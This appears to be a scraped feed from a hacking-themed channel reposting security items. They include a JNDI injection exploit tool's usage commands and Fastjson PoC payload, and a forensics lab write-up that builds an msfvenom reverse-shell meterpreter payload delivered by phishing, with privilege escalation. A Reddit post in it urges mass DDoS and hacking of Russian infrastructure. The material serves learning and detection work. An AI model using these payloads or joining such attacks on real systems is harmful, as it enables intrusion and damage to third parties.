this illustrates multiple ways to upgrade your LFI to RCEContinue reading on Medium » (https://medium.com/@omarwhadidi9/10-ways-to-get-rce-from-lfi-f2bb696b67f6?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

JNDI-Injection-Exploit - A Tool Which Generates JNDI Links Can Start Several Servers To Exploit JNDI Injection Vulnerability
http://www.kitploit.com/2022/02/jndi-injection-exploit-tool-which.html

___________________________
@hacking_Attack
@Hacking_Video

JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server. RMI server and LDAP server are based on marshals (https://github.com/mbechler/marshalsec) and modified further to link with HTTP server.
Using this tool allows you get JNDI links, you can insert these links into your POC to test vulnerability. For example, this is a Fastjson vul-poc: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true} We can replace "rmi://127.0.0.1:1099/Object" with the link generated by JNDI-Injection-Exploit to test vulnerability. Disclaimer All information and code is provided solely for educational purposes and/or testing (https://www.kitploit.com/search/label/Testing) your own systems for these vulnerabilities. Usage Run as $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address] where: -C - command executed in the remote (https://www.kitploit.com/search/label/Remote) classfile. (optional , default command is "open /Applications/Calculator.app") -A - the address of your server, maybe an IP address or a domain. (optional , default address is the first network interface address) Points for attention: make sure your server's ports (1099, 1389, 8180) are available . or you can change the default port in the run.ServerStart class line 26~28. your command is passed to Runtime.getRuntime().exec() as parameters, so you need to ensure your command is workable in method exec(). Command in bash like "bash -c ...." need to add Double quotes. Examples Local demo: Start the tool like this: $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1" Screenshot:

___________________________
@hacking_Attack
@Hacking_Video

Assume that we inject the JNDI links like rmi://ADDRESS/jfxllc generated in step 1 to a vulnerable application (https://www.kitploit.com/search/label/Vulnerable%20Application) which can be attacked by JNDI injection. In this example, it looks like this: public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1/fgf4fp");
} then when we run this code, the command will be executed , and the log will be printed in shell:

___________________________
@hacking_Attack
@Hacking_Video

Installation We can select one of the two methods to get the jar. Download the latest jar from Realease (https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar). Clone the source code to local and build (Requires Java 1.8+ and Maven 3.x+). $ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git $ cd JNDI-Injection-Exploit $ mvn clean package -DskipTests To do (Done)Combine this project and JNDI-Injection-Bypass (https://github.com/welk1n/JNDI-Injection-Bypass) to generate workable links when trustURLCodebase is false in higher versions of JDK by default. … ...

Download JNDI-Injection-Exploit (https://github.com/welk1n/JNDI-Injection-Exploit)

___________________________
@hacking_Attack
@Hacking_Video

What indicates success while Pen Testing
https://www.reddit.com/r/Pentesting/comments/t12uyy/what_indicates_success_while_pen_testing/

Hi all, I was curious about this while studying for the OSCP and a potential move into pen testing. Some questions: When you are on an engagement is it possible that you struggle to find any issues with the client setup and if so does this feel bad or you've failed? If so does a more senior pen tester try to help out and run tests that maybe you haven't thought of or do you just write up that there are no major issues? Is this scenario common or is it a case of 'try harder' until you find something? How do you stay motivated when it may be the case there are no ways to get in? Like with OSCP we know there's a way in so it's a case of trying harder so there is a fun aspect to the challenge to find the exploit but in real life that may not be the case. I wondered do you just work through your play book and then stop and say I've tried everything I know of at least? Thanks submitted by /u/Cyb3rC3lt (https://www.reddit.com/user/Cyb3rC3lt)
[link] (https://www.reddit.com/r/Pentesting/comments/t12uyy/what_indicates_success_while_pen_testing/) [comments] (https://www.reddit.com/r/Pentesting/comments/t12uyy/what_indicates_success_while_pen_testing/)

___________________________
@hacking_Attack
@Hacking_Video

A Weird Price Tampering Vulnerability

Well, Hello Pirates!!!!!!!!!!!!!!!!!!!!!!!!! Long Time No See :DContinue reading on Medium »
Read more...

10 ways to get RCE From LFI

this illustrates multiple ways to upgrade your LFI to RCEContinue reading on Medium »
Read more...

JNDI-Injection-Exploit - A Tool Which Generates JNDI Links Can Start Several Servers To Exploit JNDI Injection Vulnerability

JNDI-Injection-Exploit is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server. RMI server and LDAP server are based on marshals and modified further to link with HTTP server. Using this tool allows you get JNDI links, you can insert these links into your POC to test vulnerability. For example, this is a Fastjson vul-poc: {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true} We can replace "rmi://127.0.0.1:1099/Object" with the link generated by JNDI-Injection-Exploit to test vulnerability. Disclaimer All information and code is provided solely for educational purposes and/or testing your own systems for these vulnerabilities. Usage Run as $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C command -A address where: -C - command executed in the remote classfile. (optional , default command is "open /Applications/Calculator.app") -A - the address of your server, maybe an IP address or a domain. (optional , default address is the first network interface address) Points for attention: make sure your server's ports (1099, 1389, 8180) are available . or you can change the default port in the run.ServerStart class line 26~28. your command is passed to Runtime.getRuntime().exec() as parameters, so you need to ensure your command is workable in method exec(). Command in bash like "bash -c ...." need to add Double quotes. Examples Local demo: Start the tool like this: $ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1" Screenshot: Assume that we inject the JNDI links like rmi://ADDRESS/jfxllc generated in step 1 to a vulnerable application which can be attacked by JNDI injection. In this example, it looks like this: public static void main(String args) throws Exception{ InitialContext ctx = new InitialContext(); ctx.lookup("rmi://127.0.0.1/fgf4fp");} then when we run this code, the command will be executed , and the log will be printed in shell: Installation We can select one of the two methods to get the jar. Download the latest jar from Realease. Clone the source code to local and build (Requires Java 1.8+ and Maven 3.x+). $ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git $ cd JNDI-Injection-Exploit $ mvn clean package -DskipTests To do (Done)Combine this project and JNDI-Injection-Bypass to generate workable links when trustURLCodebase is false in higher versions of JDK by default. … ... Download JNDI-Injection-Exploit
Read more...

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Write up: Detect malicious hacker activities on endpoints

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Write up: Detect malicious hacker activities on endpointsPost Views: 181 IntroductionWelcome to the 21st century, where almost everything in life is connected to an electronic device. At one time, the term digital forensics was a synonym for computer forensics, but now involves all devices capable of storing digital data. No matter what term is used, the goal is to identify, collect, examine, analyze digital data.

Digital forensics is not only about finding the artifact, it is a formal examination analysis of the digital evidence to prove or to disapprove whether the accused committed the violation.

As a digital forensic examiner, your conclusions can have an extraordinary impact on the subjects of the investigation. To be an effective digital forensic examiner, you need to be aware of both sides, defensive and offensive. You have to understand how data is created, shared, and saved in the digital realm and be able to preserve that evidence in a forensically sound manner and testify in proceedings.
Detecting Malicious hacking activities can be done in different ways. However, when you are after more sophisticated attacks, and you are compromised, there is a certain set of techniques that you can use, to pinpoint specifically how the attack took place and trace it back. The below writeup is a scenario that will show you a real example and the steps that you can use, to detect such attacks in real-time and prevent them. Technical PartRequirements and tools you need in order to perform this specific scenario:

* Virtual Box
* Windows Server 2019 .iso
* Kali Linux Machine
* IOC and YARA Scanner
* Network Protocol Analyzer
* Wireshark
* Mimikatz
* Metasploit Steps to ReproducePhase 1:
Install Thor ATP Scanner
First, you need to visit and download Thor based on what OS you want to perform the investigation. For this demonstration, we used windows server 2019. https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/SS1.png Extract thor10.7lite-win-pack on Windows server 2019. https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/SS2.png First investigation: Perform Digital Forensics on windows server 2019 (non-compromised machine)

Start Wireshark, and capture the network traffic. https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/SS3.png Next step is to run the tool: Thor64-lite.exeThor ATP scanner starts and discovers possible malware families based on textual and/or binary patterns. After finishing it will save automatically a report, so you can analyze it and keep it as proof to compare before and after compromising the machine. This will give you the ability to understand how the Thor ATP scanner uses Yara rules against the compromised machine to help malware researchers identify and classify malware samples. It allows you to create descriptions (or rules) for malware families based on textual and/or binary patterns. Each description, a.k.a. rule, consists of a set of strings and a boolean expression that determine its logic.
Let’s see an example: rule silent_banker : banker{meta:description = "This is just an example"threat_level = 3 in_the_wild = true strings: $a = {6A 40 68 00 30 00 00 6A 14 8D 91} $b = {8D 4D B0 2B C1 83 C0 27 99 6A 4E 59 F7 F9} $c = "UVODFRYSIHLNWPEJXQZAKCBGMT" condition: $a or $b or $c }See Also: Complete Offensive Securi[...]

___________________________
@hacking_Attack
@Hacking_Video

Black Hat Ethical Hacking
Offensive Security Tools Collection: Red Teaming Tactics and Techniques

https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png Offensive Security Tools Collection: Red Teaming Tactics and TechniquesPost Views: 134 https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png Reading Time: 1 Minute

Offensive Security Tools Collection: Red Teaming Tactics and Techniques GitHub Link What is ired.team?This collection of tools and methodologies by mantvydasb will help you enhance your skillset when it comes to Offensive Security. It will share and show you several Red Teaming Tactics and Techniques based on a comprehensive collection of documentation, hacking tools and more.
See Also: Recon Tool: Metagoofil The GoalThe goal of this project is simple – read other researchers work, execute some common/uncommon attacking techniques in a lab environment, do your own reasearch and:
* Understand how various cyber attacks and techniques can be executed and how they work
* Learn about how malware is written
* Write code to further understand the tools and techniques used by attackers and malware authors
* Learn more about C++, Windows internals and Windows APIs
* See what artifacts the techniques and tools leave behind on the endpoint
* Try out various industry tools for pentesting, coding, debugging, reverse engineering, malware analysis, and become more proficient in using them
* Take notes for future reference
See Also: Data wiper deployed in cyber-attacks targeting Ukrainian systems https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/merch.png Recent Tools* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/metagoofil-90x90.png Recon Tool: Metagoofil1 day ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/swaks-1-90x90.png Offensive Security Tool: Swaks – Swiss Army Knife for SMTP1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Odin-90x90.png OSINT & Recon Tool: Odin1 week ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/pre-90x90.png Offensive Security Tool: Sandbox Defender2 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/unknown-90x90.png Offensive Security Tool: Stratus Red Team3 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Working-of-Digital-Steganography-90x90.png Offensive Security Tool: Crypto Steganography4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/86676611-2c44d500-bfd1-11ea-87fd-faf874a2dcf2-90x90.png Recon Tool: WitnessMe4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/sqlmap-90x90.png Offensive Security Tool: SQLMap1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/comit_stream-90x90.png OSINT Tool: Commit Stream1 month ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/EDR-Hooked-90x90.png Offensive Security Tool: Ivy1 month ago
The post Offensive Security Tools Collection: Red Teaming Tactics and Techniques first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

ty and Ethical Hacking Course
Phase 2:

Create a payload and compromise the machine.
To study and see how Thor can detect malwares we need to create a payload using msfvenom to perform the second action. Open your terminal and type msfvenom (in this scenario we used) msfvenom –p windows/x64/meterpreter/reverse_tcp LHOST= payload.exeat that point, we have set a payload to compromise the victim’s machine using meterpreter reverse tcp also set a listener and a port.
The next step is to execute it from a Windows perspective. In a real-world practical situation, this will require social engineering skills.
After you have created the payload you need to deliver the payload and compromise the machine. So we will create a phishing page using The Social-Engineer Toolkit which is a preinstalled tool in Kali Linux OS. The phishing link can be sent to the victim user to download and run the payload. https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/SS4.png The screenshot above shows what commands you need to issue within Metasploit. First, we will tell Metasploit to use the generic payload handler (multi/handler) using the command use multi/handler.
We will then set the payload to match the one set within the executable using the below command: set payload windows/x64/meterpreter/reverse_tcpWe will then set the LHOST and LPORT this way set LHOST= and set LPORT= Once done, type runor exploitand press Enter.
The executable causes the payload to be executed, and connect back to the attacking machine (Kali Linux). Immediately, we receive a Meterpreter session on our Kali Linux.

We successfully receive a Meterpreter session. Typing sysinfo shows us the information of our target. getuid shows that we are running as a user on Windows 10, but we can elevate to SYSTEM by issuing getsystem. We can see that elevation was successful and can confirm this by issuing getuid again. We can see we are now NT AUTHORITYSYSTEM.
When the payload executes, the machine is compromised.

So you need to perform an investigation to detect and monitor the traffic and find exactly what runs in the background.
See Also: How ILOVEYOU worm became the first global computer virus pandemic
Phase 3:
Start the investigation through the compromised machine using Wireshark and Thor ATP Scanner. https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/SS5.png The investigation team has detected and understood the network traffic using the Wireshark network analyzer on the victim’s machine and start checking and logging activities in real-time.

Using filtering with Wireshark can help you find a smart way to detect all of the attacks that happened in real-time between the attacker machine and the victim. https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/SS6.png Running again Thor ATP scanner on a possible compromised machine will let you detect easily the malicious payload and activity that a hacker can do.

Incident response engagements often begin with a group of compromised systems and an even bigger group of systems that are possibly affected.
Looking at the report you can see the alert with details. https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/SS7.png The report looks awesome and the knowledge you get using those tools is great, but it’s not enough. Knowledge is power, but you have to use it for a good purpose. https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/SS8.png You can highlight the MD5 and automate the drop-down layer, they pop up and give you the ability to scan the specific md5 using virus total, riksIQ, google, and Valhalla to analyze and study the results.

The purpose of this action for this situation is to detect and terminate the specific services that run in the background, monitor the network, and alert the blue team and th[...]

___________________________
@hacking_Attack
@Hacking_Video

e red team to investigate and study to find a solution to remediate the problems. https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/SS9.png Nowadays hackers have a lot of resources to learn about offensive security and how things work around network and security. Everything runs using technology and network connections, it is crucial to know what Offensive Security is and to be able to use it effectively. Systems, important files, data, and other important virtual things are at risk if there is no security protecting them, but from specific attacks.

Not only it is crucial to know what Offensive Security is but also to understand why it is important. The game has been taken to another level by hackers, so organizations and their employees should know what is at risk if it’s not dealt with.

The cost of Cyber threats is at an all-time high and the breaches of security systems can be undiscovered for months. Knowledge from that perspective is so big and fast-growing, and you need to be ready before the attack takes place.
Note: Watch this writeup in action and live demo by joining our Patreon Channel Below https://www.blackhatethicalhacking.com/wp-content/uploads/2022/02/Patreon.png Recent Articles* https://www.blackhatethicalhacking.com/wp-content/uploads/2022/01/Articles_Gallery-90x90.png How ILOVEYOU worm became the first global computer virus pandemic4 weeks ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/12/Stuxnet-90x90.png Stuxnet – A weapon made out of code that almost started WW32 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/11/Article-90x90.png Hacking stories – Rafael Núñez (aka RaFa), hacking NASA with the hacking group: World of Hell4 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/10/operation-troy-90x90.png Hacking stories – Operation Troy – How researchers linked the cyberattacks4 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/09/Operation-Aurora-90x90.png Hacking stories – Operation Aurora: When China hacked Google5 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/The-first-botnet-hijacker-90x90.png Hacking stories – The first botnet hijacker aka the Zombie King6 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/07/featured_image_jonathan_james_hacker-90x90.png Hacking Stories: Jonathan James – The teenager who hacked NASA for fun7 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/Untitled-design-4-90x90.png Hacking Stories: Andrian Lamo – The ‘homeless’ Hacker8 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/06/photo-1468436139062-f60a71c5c892-scaled-90x90.jpg “Worst” MacOS Security Bug Recently Patched by Apple8 months ago
* https://www.blackhatethicalhacking.com/wp-content/uploads/2021/05/wallpaperflare.com_wallpaper-90x90.jpg Jeff Moss, aka Dark Tangent, the person who founded DEF CON and Black Hat9 months ago
The post Write up: Detect malicious hacker activities on endpoints first appeared on Black Hat Ethical Hacking.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Putting the X Factor in XDR

While extended detection and response (XDR) is effectively considered an upgrade from endpoint detection and response, enterprises must still begin with a strong EDR foundation.

hacking: security in practice
We should create something like Folding@Home called Hacking@Home so we can collectively DDOS/hack the shit out of everything in Russia

I am a complete noob at this but it would be very cool if millions of people could DDSO/hack the shit out of a lot of Russia's websites/infrastructure

submitted by /u/Mirrormaster85
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video